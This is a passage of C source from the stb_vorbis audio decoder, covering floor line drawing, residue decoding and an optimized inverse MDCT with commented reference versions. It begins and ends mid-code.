0.9389798f, 1.0f }; // @OPTIMIZE: if you want to replace this bresenham line-drawing routine, // note that you must produce bit-identical output to decode correctly; // this specific sequence of operations is specified in the spec (it's // drawing integer-quantized frequency-space lines that the encoder // expects to be exactly the same) // ... also, isn't the whole point of Bresenham's algorithm to NOT // have to divide in the setup? sigh. #ifndef STB_VORBIS_NO_DEFER_FLOOR #define LINE_OP(a,b) a *= b #else #define LINE_OP(a,b) a = b #endif #ifdef STB_VORBIS_DIVIDE_TABLE #define DIVTAB_NUMER 32 #define DIVTAB_DENOM 64 int8 integer_divide_table[DIVTAB_NUMER][DIVTAB_DENOM]; // 2KB #endif static __forceinline void draw_line(float* output, int x0, int y0, int x1, int y1, int n) { int dy = y1 - y0; int adx = x1 - x0; int ady = abs(dy); int base; int x = x0, y = y0; int err = 0; int sy; #ifdef STB_VORBIS_DIVIDE_TABLE if (adx < DIVTAB_DENOM && ady < DIVTAB_NUMER) { if (dy < 0) { base = -integer_divide_table[ady][adx]; sy = base - 1; } else { base = integer_divide_table[ady][adx]; sy = base + 1; } } else { base = dy / adx; if (dy < 0) sy = base - 1; else sy = base + 1; } #else base = dy / adx; if (dy < 0) sy = base - 1; else sy = base + 1; #endif ady -= abs(base) * adx; if (x1 > n) x1 = n; if (x < x1) { LINE_OP(output[x], inverse_db_table[y & 255]); for (++x; x < x1; ++x) { err += ady; if (err >= adx) { err -= adx; y += sy; } else y += base; LINE_OP(output[x], inverse_db_table[y & 255]); } } } static int residue_decode(vorb* f, Codebook* book, float* target, int offset, int n, int rtype) { int k; if (rtype == 0) { int step = n / book->dimensions; for (k = 0; k < step; ++k) if (!codebook_decode_step(f, book, target + offset + k, n - offset - k, step)) return FALSE; } else { for (k = 0; k < n; ) { if (!codebook_decode(f, book, target + offset, n - k)) return FALSE; k += book->dimensions; offset += book->dimensions; } } return TRUE; } // n is 1/2 of the blocksize -- // specification: "Correct per-vector decode length is [n]/2" static void decode_residue(vorb* f, float* residue_buffers[], int ch, int n, int rn, uint8* do_not_decode) { int i, j, pass; Residue* r = f->residue_config + rn; int rtype = f->residue_types[rn]; int c = r->classbook; int classwords = f->codebooks[c].dimensions; unsigned int actual_size = rtype == 2 ? n * 2 : n; unsigned int limit_r_begin = (r->begin < actual_size ? r->begin : actual_size); unsigned int limit_r_end = (r->end < actual_size ? r->end : actual_size); int n_read = limit_r_end - limit_r_begin; int part_read = n_read / r->part_size; int temp_alloc_point = temp_alloc_save(f); #ifndef STB_VORBIS_DIVIDES_IN_RESIDUE uint8*** part_classdata = (uint8***)temp_block_array(f, f->channels, part_read * sizeof(**part_classdata)); #else int** classifications = (int**)temp_block_array(f, f->channels, part_read * sizeof(**classifications)); #endif CHECK(f); for (i = 0; i < ch; ++i) if (!do_not_decode[i]) memset(residue_buffers[i], 0, sizeof(float) * n); if (rtype == 2 && ch != 1) { for (j = 0; j < ch; ++j) if (!do_not_decode[j]) break; if (j == ch) goto done; for (pass = 0; pass < 8; ++pass) { int pcount = 0, class_set = 0; if (ch == 2) { while (pcount < part_read) { int z = r->begin + pcount * r->part_size; int c_inter = (z & 1), p_inter = z >> 1; if (pass == 0) { Codebook* c = f->codebooks + r->classbook; int q; DECODE(q, f, c); if (q == EOP) goto done; #ifndef STB_VORBIS_DIVIDES_IN_RESIDUE part_classdata[0][class_set] = r->classdata[q]; #else for (i = classwords - 1; i >= 0; --i) { classifications[0][i + pcount] = q % r->classifications; q /= r->classifications; } #endif } for (i = 0; i < classwords && pcount < part_read; ++i, ++pcount) { int z = r->begin + pcount * r->part_size; #ifndef STB_VORBIS_DIVIDES_IN_RESIDUE int c = part_classdata[0][class_set][i]; #else int c = classifications[0][pcount]; #endif int b = r->residue_books[c][pass]; if (b >= 0) { Codebook* book = f->codebooks + b; #ifdef STB_VORBIS_DIVIDES_IN_CODEBOOK if (!codebook_decode_deinterleave_repeat(f, book, residue_buffers, ch, &c_inter, &p_inter, n, r->part_size)) goto done; #else // saves 1% if (!codebook_decode_deinterleave_repeat(f, book, residue_buffers, ch, &c_inter, &p_inter, n, r->part_size)) goto done; #endif } else { z += r->part_size; c_inter = z & 1; p_inter = z >> 1; } } #ifndef STB_VORBIS_DIVIDES_IN_RESIDUE ++class_set; #endif } } else if (ch > 2) { while (pcount < part_read) { int z = r->begin + pcount * r->part_size; int c_inter = z % ch, p_inter = z / ch; if (pass == 0) { Codebook* c = f->codebooks + r->classbook; int q; DECODE(q, f, c); if (q == EOP) goto done; #ifndef STB_VORBIS_DIVIDES_IN_RESIDUE part_classdata[0][class_set] = r->classdata[q]; #else for (i = classwords - 1; i >= 0; --i) { classifications[0][i + pcount] = q % r->classifications; q /= r->classifications; } #endif } for (i = 0; i < classwords && pcount < part_read; ++i, ++pcount) { int z = r->begin + pcount * r->part_size; #ifndef STB_VORBIS_DIVIDES_IN_RESIDUE int c = part_classdata[0][class_set][i]; #else int c = classifications[0][pcount]; #endif int b = r->residue_books[c][pass]; if (b >= 0) { Codebook* book = f->codebooks + b; if (!codebook_decode_deinterleave_repeat(f, book, residue_buffers, ch, &c_inter, &p_inter, n, r->part_size)) goto done; } else { z += r->part_size; c_inter = z % ch; p_inter = z / ch; } } #ifndef STB_VORBIS_DIVIDES_IN_RESIDUE ++class_set; #endif } } } goto done; } CHECK(f); for (pass = 0; pass < 8; ++pass) { int pcount = 0, class_set = 0; while (pcount < part_read) { if (pass == 0) { for (j = 0; j < ch; ++j) { if (!do_not_decode[j]) { Codebook* c = f->codebooks + r->classbook; int temp; DECODE(temp, f, c); if (temp == EOP) goto done; #ifndef STB_VORBIS_DIVIDES_IN_RESIDUE part_classdata[j][class_set] = r->classdata[temp]; #else for (i = classwords - 1; i >= 0; --i) { classifications[j][i + pcount] = temp % r->classifications; temp /= r->classifications; } #endif } } } for (i = 0; i < classwords && pcount < part_read; ++i, ++pcount) { for (j = 0; j < ch; ++j) { if (!do_not_decode[j]) { #ifndef STB_VORBIS_DIVIDES_IN_RESIDUE int c = part_classdata[j][class_set][i]; #else int c = classifications[j][pcount]; #endif int b = r->residue_books[c][pass]; if (b >= 0) { float* target = residue_buffers[j]; int offset = r->begin + pcount * r->part_size; int n = r->part_size; Codebook* book = f->codebooks + b; if (!residue_decode(f, book, target, offset, n, rtype)) goto done; } } } } #ifndef STB_VORBIS_DIVIDES_IN_RESIDUE ++class_set; #endif } } done: CHECK(f); #ifndef STB_VORBIS_DIVIDES_IN_RESIDUE temp_free(f, part_classdata); #else temp_free(f, classifications); #endif temp_alloc_restore(f, temp_alloc_point); } #if 0 // slow way for debugging void inverse_mdct_slow(float* buffer, int n) { int i, j; int n2 = n >> 1; float* x = (float*)malloc(sizeof(*x) * n2); memcpy(x, buffer, sizeof(*x) * n2); for (i = 0; i < n; ++i) { float acc = 0; for (j = 0; j < n2; ++j) // formula from paper: //acc += n/4.0f * x[j] * (float) cos(M_PI / 2 / n * (2 * i + 1 + n/2.0)*(2*j+1)); // formula from wikipedia //acc += 2.0f / n2 * x[j] * (float) cos(M_PI/n2 * (i + 0.5 + n2/2)*(j + 0.5)); // these are equivalent, except the formula from the paper inverts the multiplier! // however, what actually works is NO MULTIPLIER!?! //acc += 64 * 2.0f / n2 * x[j] * (float) cos(M_PI/n2 * (i + 0.5 + n2/2)*(j + 0.5)); acc += x[j] * (float)cos(M_PI / 2 / n * (2 * i + 1 + n / 2.0) * (2 * j + 1)); buffer[i] = acc; } free(x); } #elif 0 // same as above, but just barely able to run in real time on modern machines void inverse_mdct_slow(float* buffer, int n, vorb* f, int blocktype) { float mcos[16384]; int i, j; int n2 = n >> 1, nmask = (n << 2) - 1; float* x = (float*)malloc(sizeof(*x) * n2); memcpy(x, buffer, sizeof(*x) * n2); for (i = 0; i < 4 * n; ++i) mcos[i] = (float)cos(M_PI / 2 * i / n); for (i = 0; i < n; ++i) { float acc = 0; for (j = 0; j < n2; ++j) acc += x[j] * mcos[(2 * i + 1 + n2) * (2 * j + 1) & nmask]; buffer[i] = acc; } free(x); } #elif 0 // transform to use a slow dct-iv; this is STILL basically trivial, // but only requires half as many ops void dct_iv_slow(float* buffer, int n) { float mcos[16384]; float x[2048]; int i, j; int n2 = n >> 1, nmask = (n << 3) - 1; memcpy(x, buffer, sizeof(*x) * n); for (i = 0; i < 8 * n; ++i) mcos[i] = (float)cos(M_PI / 4 * i / n); for (i = 0; i < n; ++i) { float acc = 0; for (j = 0; j < n; ++j) acc += x[j] * mcos[((2 * i + 1) * (2 * j + 1)) & nmask]; buffer[i] = acc; } } void inverse_mdct_slow(float* buffer, int n, vorb* f, int blocktype) { int i, n4 = n >> 2, n2 = n >> 1, n3_4 = n - n4; float temp[4096]; memcpy(temp, buffer, n2 * sizeof(float)); dct_iv_slow(temp, n2); // returns -c'-d, a-b' for (i = 0; i < n4; ++i) buffer[i] = temp[i + n4]; // a-b' for (; i < n3_4; ++i) buffer[i] = -temp[n3_4 - i - 1]; // b-a', c+d' for (; i < n; ++i) buffer[i] = -temp[i - n3_4]; // c'+d } #endif #ifndef LIBVORBIS_MDCT #define LIBVORBIS_MDCT 0 #endif #if LIBVORBIS_MDCT // directly call the vorbis MDCT using an interface documented // by Jeff Roberts... useful for performance comparison typedef struct { int n; int log2n; float* trig; int* bitrev; float scale; } mdct_lookup; extern void mdct_init(mdct_lookup* lookup, int n); extern void mdct_clear(mdct_lookup* l); extern void mdct_backward(mdct_lookup* init, float* in, float* out); mdct_lookup M1, M2; void inverse_mdct(float* buffer, int n, vorb* f, int blocktype) { mdct_lookup* M; if (M1.n == n) M = &M1; else if (M2.n == n) M = &M2; else if (M1.n == 0) { mdct_init(&M1, n); M = &M1; } else { if (M2.n) __asm int 3; mdct_init(&M2, n); M = &M2; } mdct_backward(M, buffer, buffer); } #endif // the following were split out into separate functions while optimizing; // they could be pushed back up but eh. __forceinline showed no change; // they're probably already being inlined. static void imdct_step3_iter0_loop(int n, float* e, int i_off, int k_off, float* A) { float* ee0 = e + i_off; float* ee2 = ee0 + k_off; int i; assert((n & 3) == 0); for (i = (n >> 2); i > 0; --i) { float k00_20, k01_21; k00_20 = ee0[0] - ee2[0]; k01_21 = ee0[-1] - ee2[-1]; ee0[0] += ee2[0];//ee0[ 0] = ee0[ 0] + ee2[ 0]; ee0[-1] += ee2[-1];//ee0[-1] = ee0[-1] + ee2[-1]; ee2[0] = k00_20 * A[0] - k01_21 * A[1]; ee2[-1] = k01_21 * A[0] + k00_20 * A[1]; A += 8; k00_20 = ee0[-2] - ee2[-2]; k01_21 = ee0[-3] - ee2[-3]; ee0[-2] += ee2[-2];//ee0[-2] = ee0[-2] + ee2[-2]; ee0[-3] += ee2[-3];//ee0[-3] = ee0[-3] + ee2[-3]; ee2[-2] = k00_20 * A[0] - k01_21 * A[1]; ee2[-3] = k01_21 * A[0] + k00_20 * A[1]; A += 8; k00_20 = ee0[-4] - ee2[-4]; k01_21 = ee0[-5] - ee2[-5]; ee0[-4] += ee2[-4];//ee0[-4] = ee0[-4] + ee2[-4]; ee0[-5] += ee2[-5];//ee0[-5] = ee0[-5] + ee2[-5]; ee2[-4] = k00_20 * A[0] - k01_21 * A[1]; ee2[-5] = k01_21 * A[0] + k00_20 * A[1]; A += 8; k00_20 = ee0[-6] - ee2[-6]; k01_21 = ee0[-7] - ee2[-7]; ee0[-6] += ee2[-6];//ee0[-6] = ee0[-6] + ee2[-6]; ee0[-7] += ee2[-7];//ee0[-7] = ee0[-7] + ee2[-7]; ee2[-6] = k00_20 * A[0] - k01_21 * A[1]; ee2[-7] = k01_21 * A[0] + k00_20 * A[1]; A += 8; ee0 -= 8; ee2 -= 8; } } static void imdct_step3_inner_r_loop(int lim, float* e, int d0, int k_off, float* A, int k1) { int i; float k00_20, k01_21; float* e0 = e + d0; float* e2 = e0 + k_off; for (i = lim >> 2; i > 0; --i) { k00_20 = e0[-0] - e2[-0]; k01_21 = e0[-1] - e2[-1]; e0[-0] += e2[-0];//e0[-0] = e0[-0] + e2[-0]; e0[-1] += e2[-1];//e0[-1] = e0[-1] + e2[-1]; e2[-0] = (k00_20)*A[0] - (k01_21)*A[1]; e2[-1] = (k01_21)*A[0] + (k00_20)*A[1]; A += k1; k00_20 = e0[-2] - e2[-2]; k01_21 = e0[-3] - e2[-3]; e0[-2] += e2[-2];//e0[-2] = e0[-2] + e2[-2]; e0[-3] += e2[-3];//e0[-3] = e0[-3] + e2[-3]; e2[-2] = (k00_20)*A[0] - (k01_21)*A[1]; e2[-3] = (k01_21)*A[0] + (k00_20)*A[1]; A += k1; k00_20 = e0[-4] - e2[-4]; k01_21 = e0[-5] - e2[-5]; e0[-4] += e2[-4];//e0[-4] = e0[-4] + e2[-4]; e0[-5] += e2[-5];//e0[-5] = e0[-5] + e2[-5]; e2[-4] = (k00_20)*A[0] - (k01_21)*A[1]; e2[-5] = (k01_21)*A[0] + (k00_20)*A[1]; A += k1; k00_20 = e0[-6] - e2[-6]; k01_21 = e0[-7] - e2[-7]; e0[-6] += e2[-6];//e0[-6] = e0[-6] + e2[-6]; e0[-7] += e2[-7];//e0[-7] = e0[-7] + e2[-7]; e2[-6] = (k00_20)*A[0] - (k01_21)*A[1]; e2[-7] = (k01_21)*A[0] + (k00_20)*A[1]; e0 -= 8; e2 -= 8; A += k1; } } static void imdct_step3_inner_s_loop(int n, float* e, int i_off, int k_off, float* A, int a_off, int k0) { int i; float A0 = A[0]; float A1 = A[0 + 1]; float A2 = A[0 + a_off]; float A3 = A[0 + a_off + 1]; float A4 = A[0 + a_off * 2 + 0]; float A5 = A[0 + a_off * 2 + 1]; float A6 = A[0 + a_off * 3 + 0]; float A7 = A[0 + a_off * 3 + 1]; float k00, k11; float* ee0 = e + i_off; float* ee2 = ee0 + k_off; for (i = n; i > 0; --i) { k00 = ee0[0] - ee2[0]; k11 = ee0[-1] - ee2[-1]; ee0[0] = ee0[0] + ee2[0]; ee0[-1] = ee0[-1] + ee2[-1]; ee2[0] = (k00)*A0 - (k11)*A1; ee2[-1] = (k11)*A0 + (k00)*A1; k00 = ee0[-2] - ee2[-2]; k11 = ee0[-3] - ee2[-3]; ee0[-2] = ee0[-2] + ee2[-2]; ee0[-3] = ee0[-3] + ee2[-3]; ee2[-2] = (k00)*A2 - (k11)*A3; ee2[-3] = (k11)*A2 + (k00)*A3; k00 = ee0[-4] - ee2[-4]; k11 = ee0[-5] - ee2[-5]; ee0[-4] = ee0[-4] + ee2[-4]; ee0[-5] = ee0[-5] + ee2[-5]; ee2[-4] = (k00)*A4 - (k11)*A5; ee2[-5] = (k11)*A4 + (k00)*A5; k00 = ee0[-6] - ee2[-6]; k11 = ee0[-7] - ee2[-7]; ee0[-6] = ee0[-6] + ee2[-6]; ee0[-7] = ee0[-7] + ee2[-7]; ee2[-6] = (k00)*A6 - (k11)*A7; ee2[-7] = (k11)*A6 + (k00)*A7; ee0 -= k0; ee2 -= k0; } } static __forceinline void iter_54(float* z) { float k00, k11, k22, k33; float y0, y1, y2, y3; k00 = z[0] - z[-4]; y0 = z[0] + z[-4]; y2 = z[-2] + z[-6]; k22 = z[-2] - z[-6]; z[-0] = y0 + y2; // z0 + z4 + z2 + z6 z[-2] = y0 - y2; // z0 + z4 - z2 - z6 // done with y0,y2 k33 = z[-3] - z[-7]; z[-4] = k00 + k33; // z0 - z4 + z3 - z7 z[-6] = k00 - k33; // z0 - z4 - z3 + z7 // done with k33 k11 = z[-1] - z[-5]; y1 = z[-1] + z[-5]; y3 = z[-3] + z[-7]; z[-1] = y1 + y3; // z1 + z5 + z3 + z7 z[-3] = y1 - y3; // z1 + z5 - z3 - z7 z[-5] = k11 - k22; // z1 - z5 + z2 - z6 z[-7] = k11 + k22; // z1 - z5 - z2 + z6 } static void imdct_step3_inner_s_loop_ld654(int n, float* e, int i_off, float* A, int base_n) { int a_off = base_n >> 3; float A2 = A[0 + a_off]; float* z = e + i_off; float* base = z - 16 * n; while (z > base) { float k00, k11; k00 = z[-0] - z[-8]; k11 = z[-1] - z[-9]; z[-0] = z[-0] + z[-8]; z[-1] = z[-1] + z[-9]; z[-8] = k00; z[-9] = k11; k00 = z[-2] - z[-10]; k11 = z[-3] - z[-11]; z[-2] = z[-2] + z[-10]; z[-3] = z[-3] + z[-11]; z[-10] = (k00 + k11) * A2; z[-11] = (k11 - k00) * A2; k00 = z[-12] - z[-4]; // reverse to avoid a unary negation k11 = z[-5] - z[-13]; z[-4] = z[-4] + z[-12]; z[-5] = z[-5] + z[-13]; z[-12] = k11; z[-13] = k00; k00 = z[-14] - z[-6]; // reverse to avoid a unary negation k11 = z[-7] - z[-15]; z[-6] = z[-6] + z[-14]; z[-7] = z[-7] + z[-15]; z[-14] = (k00 + k11) * A2; z[-15] = (k00 - k11) * A2; iter_54(z); iter_54(z - 8); z -= 16; } } static void inverse_mdct(float* buffer, int n, vorb* f, int blocktype) { int n2 = n >> 1, n4 = n >> 2, n8 = n >> 3, l; int ld; // @OPTIMIZE: reduce register pressure by using fewer variables? int save_point = temp_alloc_save(f); float* buf2 = (float*)temp_alloc(f, n2 * sizeof(*buf2)); float* u = NULL, * v = NULL; // twiddle factors float* A = f->A[blocktype]; // IMDCT algorithm from "The use of multirate filter banks for coding of high quality digital audio" // See notes about bugs in that paper in less-optimal implementation 'inverse_mdct_old' after this function. // kernel from paper // merged: // copy and reflect spectral data // step 0 // note that it turns out that the items added together during // this step are, in fact, being added to themselves (as reflected // by step 0). inexplicable inefficiency! this became obvious // once I combined the passes. // so there's a missing 'times 2' here (for adding X to itself). // this propagates through linearly to the end, where the numbers // are 1/2 too small, and need to be compensated for. { float* d, * e, * AA, * e_stop; d = &buf2[n2 - 2]; AA = A; e = &buffer[0]; e_stop = &buffer[n2]; while (e != e_stop) { d[1] = (e[0] * AA[0] - e[2] * AA[1]); d[0] = (e[0] * AA[1] + e[2] * AA[0]); d -= 2; AA += 2; e += 4; } e = &buffer[n2 - 3]; while (d >= buf2) { d[1] = (-e[2] * AA[0] - -e[0] * AA[1]); d[0] = (-e[2] * AA[1] + -e[0] * AA[0]); d -= 2; AA += 2; e -= 4; } } // now we use symbolic names for these, so that we can // possibly swap their meaning as we change which operations // are in place u = buffer; v = buf2; // step 2 (paper output is w, now u) // this could be in place, but the data ends up in the wrong // place... _somebody_'s got to swap it, so this is nominated { float* AA = &A[n2 - 8]; float* d0, * d1, * e0, * e1; e0 = &v[n4]; e1 = &v[0]; d0 = &u[n4]; d1 = &u[0]; while (AA >= A) { float v40_20, v41_21; v41_21 = e0[1] - e1[1]; v40_20 = e0[0] - e1[0]; d0[1] = e0[1] + e1[1]; d0[0] = e0[0] + e1[0]; d1[1] = v41_21 * AA[4] - v40_20 * AA[5]; d1[0] = v40_20 * AA[4] + v41_21 * AA[5]; v41_21 = e0[3] - e1[3]; v40_20 = e0[2] - e1[2]; d0[3] = e0[3] + e1[3]; d0[2] = e0[2] + e1[2]; d1[3] = v41_21 * AA[0] - v40_20 * AA[1]; d1[2] = v40_20 * AA[0] + v41_21 * AA[1]; AA -= 8; d0 += 4; d1 += 4; e0 += 4; e1 += 4; } } // step 3 ld = ilog(n) - 1; // ilog is off-by-one from normal definitions // optimized step 3: // the original step3 loop can be nested r inside s or s inside r; // it's written originally as s inside r, but this is dumb when r // iterates many times, and s few. So I have two copies of it and // switch between them halfway. // this is iteration 0 of step 3 imdct_step3_iter0_loop(n >> 4, u, n2 - 1 - n4 * 0, -(n >> 3), A); imdct_step3_iter0_loop(n >> 4, u, n2 - 1 - n4 * 1, -(n >> 3), A); // this is iteration 1 of step 3 imdct_step3_inner_r_loop(n >> 5, u, n2 - 1 - n8 * 0, -(n >> 4), A, 16); imdct_step3_inner_r_loop(n >> 5, u, n2 - 1 - n8 * 1, -(n >> 4), A, 16); imdct_step3_inner_r_loop(n >> 5, u, n2 - 1 - n8 * 2, -(n >> 4), A, 16); imdct_step3_inner_r_loop(n >> 5, u, n2 - 1 - n8 * 3, -(n >> 4), A, 16); l = 2; for (; l < (ld - 3) >> 1; ++l) { int k0 = n >> (l + 2), k0_2 = k0 >> 1; int lim = 1 << (l + 1); int i; for (i = 0; i < lim; ++i) imdct_step3_inner_r_loop(n >> (l + 4), u, n2 - 1 - k0 * i, -k0_2, A, 1 << (l + 3)); } for (; l < ld - 6; ++l) { int k0 = n >> (l + 2), k1 = 1 << (l + 3), k0_2 = k0 >> 1; int rlim = n >> (l + 6), r; int lim = 1 << (l + 1); int i_off; float* A0 = A; i_off = n2 - 1; for (r = rlim; r > 0; --r) { imdct_step3_inner_s_loop(lim, u, i_off, -k0_2, A0, k1, k0); A0 += k1 * 4; i_off -= 8; } } // iterations with count: // ld-6,-5,-4 all interleaved together // the big win comes from getting rid of needless flops // due to the constants on pass 5 & 4 being all 1 and 0; // combining them to be simultaneous to improve cache made little difference imdct_step3_inner_s_loop_ld654(n >> 5, u, n2 - 1, A, n); // output is u // step 4, 5, and 6 // cannot be in-place because of step 5 { uint16* bitrev = f->bit_reverse[blocktype]; // weirdly, I'd have thought reading sequentially and writing // erratically would have been better than vice-versa, but in // fact that's not what my testing showed. (That is, with // j = bitreverse(i), do you read i and write j, or read j and write i.) float* d0 = &v[n4 - 4]; float* d1 = &v[n2 - 4]; while (d0 >= v) { int k4; k4 = bitrev[0]; d1[3] = u[k4 + 0]; d1[2] = u[k4 + 1]; d0[3] = u[k4 + 2]; d0[2] = u[k4 + 3]; k4 = bitrev[1]; d1[1] = u[k4 + 0]; d1[0] = u[k4 + 1]; d0[1] = u[k4 + 2]; d0[0] = u[k4 + 3]; d0 -= 4; d1 -= 4; bitrev += 2; } } // (paper output is u, now v) // data must be in buf2 assert(v == buf2); // step 7 (paper output is v, now v) // this is now in place { float* C = f->C[blocktype]; float* d, * e; d = v; e = v + n2 - 4; while (d < e) { float a02, a11, b0, b1, b2, b3; a02 = d[0] - e[2]; a11 = d[1] + e[3]; b0 = C[1] * a02 + C[0] * a11; b1 = C[1] * a11 - C[0] * a02; b2 = d[0] + e[2]; b3 = d[1] - e[3]; d[0] = b2 + b0; d[1] = b3 + b1; e[2] = b2 - b0; e[3] = b1 - b3; a02 = d[2] - e[0]; a11 = d[3] + e[1]; b0 = C[3] * a02 + C[2] * a11; b1 = C[3] * a11 - C[2] * a02; b2 = d[2] + e[0]; b3 = d[3] - e[1]; d[2] = b2 + b0; d[3] = b3 + b1; e[0] = b2 - b0; e[1] = b1 - b3; C += 4; d += 4; e -= 4; } } // data must be in buf2 // step 8+decode (paper output is X, now buffer) // this generates pairs of data a la 8 and pushes them directly through // the decode kernel (pushing rather than pulling) to avoid having // to make another pass later // this cannot POSSIBLY be in place, so we refer to the buffers directly { float* d0, * d1, * d2, * d3; float* B = f->B[blocktype] + n2 - 8; float* e = buf2 + n2 - 8; d0 = &buffer[0]; d1 = &buffer[n2 - 4]; d2 = &buffer[n2]; d3 = &buffer[n - 4]; while (e >= v) { float p0, p1, p2, p3; p3 = e[6] * B[7] - e[7] * B[6]; p2 = -e[6] * B[6] - e[7] * B[7]; d0[0] = p3; d1[3] = -p3; d2[0] = p2; d3[3] = p2; p1 = e[4] * B[5] - e[5] * B[4]; p0 = -e[4] * B[4] - e[5] * B[5]; d0[1] = p1; d1[2] = -p1; d2[1] = p0; d3[2] = p0; p3 = e[2] * B[3] - e[3] * B[2]; p2 = -e[2] * B[2] - e[3] * B[3]; d0[2] = p3; d1[1] = -p3; d2[2] = p2; d3[1] = p2; p1 = e[0] * B[1] - e[1] * B[0]; p0 = -e[0] * B[0] - e[1] * B[1]; d0[3] = p1; d1[0] = -p1; d2[3] = p0; d3[0] = p0; B -= 8; e -= 8; d0 += 4; d2 += 4; d1 -= 4; d3 -= 4; } } temp_free(f, buf2); temp_alloc_restore(f, save_point); } #if 0 // this is the original version of the above code, if you want to optimize it from scratch void inverse_mdct_naive(float* buffer, int n) { float s; float A[1 << 12], B[1 << 12], C[1 << 11]; int i, k, k2, k4, n2 = n >> 1, n4 = n >> 2, n8 = n >> 3, l; int n3_4 = n - n4, ld; // how can they claim this only uses N words?! // oh, because they're only used sparsely, whoops float u[1 << 13], X[1 << 13], v[1 << 13], w[1 << 13]; // set up twiddle factors for (k = k2 = 0; k < n4; ++k, k2 += 2) { A[k2] = (float)cos(4 * k * M_PI / n); A[k2 + 1] = (float)-sin(4 * k * M_PI / n); B[k2] = (float)cos((k2 + 1) * M_PI / n / 2); B[k2 + 1] = (float)sin((k2 + 1) * M_PI / n / 2); } for (k = k2 = 0; k < n8; ++k, k2 += 2) { C[k2] = (float)cos(2 * (k2 + 1) * M_PI / n); C[k2 + 1] = (float)-sin(2 * (k2 + 1) * M_PI / n); } // IMDCT algorithm from "The use of multirate filter banks for coding of high quality digital audio" // Note there are bugs in that pseudocode, presumably due to them attempting // to rename the arrays nicely rather than representing the way their actual // implementation bounces buffers back and forth. As a result, even in the // "some formulars corrected" version, a direct implementation fails. These // are noted below as "paper bug". // copy and reflect spectral data for (k = 0; k < n2; ++k) u[k] = buffer[k]; for (; k < n; ++k) u[k] = -buffer[n - k - 1]; // kernel from paper // step 1 for (k = k2 = k4 = 0; k < n4; k += 1, k2 += 2, k4 += 4) { v[n - k4 - 1] = (u[k4] - u[n - k4 - 1]) * A[k2] - (u[k4 + 2] - u[n - k4 - 3]) * A[k2 + 1]; v[n - k4 - 3] = (u[k4] - u[n - k4 - 1]) * A[k2 + 1] + (u[k4 + 2] - u[n - k4 - 3]) * A[k2]; } // step 2 for (k = k4 = 0; k < n8; k += 1, k4 += 4) { w[n2 + 3 + k4] = v[n2 + 3 + k4] + v[k4 + 3]; w[n2 + 1 + k4] = v[n2 + 1 + k4] + v[k4 + 1]; w[k4 + 3] = (v[n2 + 3 + k4] - v[k4 + 3]) * A[n2 - 4 - k4] - (v[n2 + 1 + k4] - v[k4 + 1]) * A[n2 - 3 - k4]; w[k4 + 1] = (v[n2 + 1 + k4] - v[k4 + 1]) * A[n2 - 4 - k4] + (v[n2 + 3 + k4] - v[k4 + 3]) * A[n2 - 3 - k4]; } // step 3 ld = ilog(n) - 1; // ilog is off-by-one from normal definitions for (l = 0; l < ld - 3; ++l) { int k0 = n >> (l + 2), k1 = 1 << (l + 3); int rlim = n >> (l + 4), r4, r; int s2lim = 1 << (l + 2), s2; for (r = r4 = 0; r < rlim; r4 += 4, ++r) { for (s2 = 0; s2 < s2lim; s2 += 2) { u[n - 1 - k0 * s2 - r4] = w[n - 1 - k0 * s2 - r4] + w[n - 1 - k0 * (s2 + 1) - r4]; u[n - 3 - k0 * s2 - r4] = w[n - 3 - k0 * s2 - r4] + w[n - 3 - k0 * (s2 + 1) - r4]; u[n - 1 - k0 * (s2 + 1) - r4] = (w[n - 1 - k0 * s2 - r4] - w[n - 1 - k0 * (s2 + 1) - r4]) * A[r * k1] - (w[n - 3 - k0 * s2 - r4] - w[n - 3 - k0 * (s2 + 1) - r4]) * A[r * k1 + 1]; u[n - 3 - k0 * (s2 + 1) - r4] = (w[n - 3 - k0 * s2 - r4] - w[n - 3 - k0 * (s2 + 1) - r4]) * A[r * k1] + (w[n - 1 - k0 * s2 - r4] - w[n - 1 - k0 * (s2 + 1) - r4]) * A[r * k1 + 1]; } } if (l + 1 < ld - 3) { // paper bug: ping-ponging of u&w here is omitted memcpy(w, u, sizeof(u)); } } // step 4 for (i = 0; i < n8; ++i) { int j = bit_reverse(i) >> (32 - ld + 3); assert(j < n8); if (i == j) { // paper bug: original code probably swapped in place; if copying, // need to directly copy in this case int i8 = i << 3; v[i8 + 1] = u[i8 + 1]; v[i8 + 3] = u[i8 + 3]; v[i8 + 5] = u[i8 + 5]; v[i8 + 7] = u[i8 + 7]; } else if (i < j) { int i8 = i << 3, j8 = j << 3; v[j8 + 1] = u[i8 + 1], v[i8 + 1] = u[j8 + 1]; v[j8 + 3] = u[i8 + 3], v[i8 + 3] = u[j8 + 3]; v[j8 + 5] = u[i8 + 5], v[i8 + 5] = u[j8 + 5]; v[j8 + 7] = u[i8 + 7], v[i8 + 7] = u[j8 + 7]; } } // step 5 for (k = 0; k < n2; ++k) { w[k] = v[k * 2 + 1]; } // step 6 for (k = k2 = k4 = 0; k < n8; ++k, k2 += 2, k4 += 4) { u[n - 1 - k2] = w[k4]; u[n - 2 - k2] = w[k4 + 1]; u[n3_4 - 1 - k2] = w[k4 + 2]; u[n3_4 - 2 - k2] = w[k4 + 3]; } // step 7 for (k = k2 = 0; k < n8; ++k, k2 += 2) { v[n2 + k2] = (u[n2 + k2] + u[n - 2 - k2] + C[k2 + 1] * (u[n2 + k2] - u[n - 2 - k2]) + C[k2] * (u[n2 + k2 + 1] + u[n - 2 - k2 + 1])) / 2; v[n - 2 - k2] = (u[n2 + k2] + u[n - 2 - k2] - C[k2 + 1] * (u[n2 + k2] - u[n - 2 - k2]) - C[k2] * (u[n2 + k2 + 1] + u[n - 2 - k2 + 1])) / 2; v[n2 + 1 + k2] = (u[n2 + 1 + k2] - u[n - 1 - k2] + C[k2 + 1] * (u[n2 + 1 + k2] + u[n - 1 - k2]) - C[k2] * (u[n2 + k2] - u[n - 2 - k2])) / 2; v[n - 1 - k2] = (-u[n2 + 1 + k2] + u[n - 1 - k2] + C[k2 + 1] * (u[n2 + 1 + k2] + u[n - 1 - k2]) - C[k2] * (u[n2 + k2] - u[n - 2 - k2])) / 2; } // step 8 for (k = k2 = 0; k < n4; ++k, k2 += 2) { X[k] = v[k2 + n2] * B[k2] + v[k2 + 1 + n2] * B[k2 + 1]; X[n2 - 1 - k] = v[k2 + n2] * B[k2 + 1] - v[k2 + 1 + n2] * B[k2]; } // decode kernel to output // determined the following value experimentally // (by first figuring out what made inverse_mdct_slow work); then matching that here // (probably vorbis encoder premultiplies by n or n/2, to save it on the decoder?) s = 0.5; // theoretically would be n4 // [[[ note! the s value of 0.5 is compensated for by 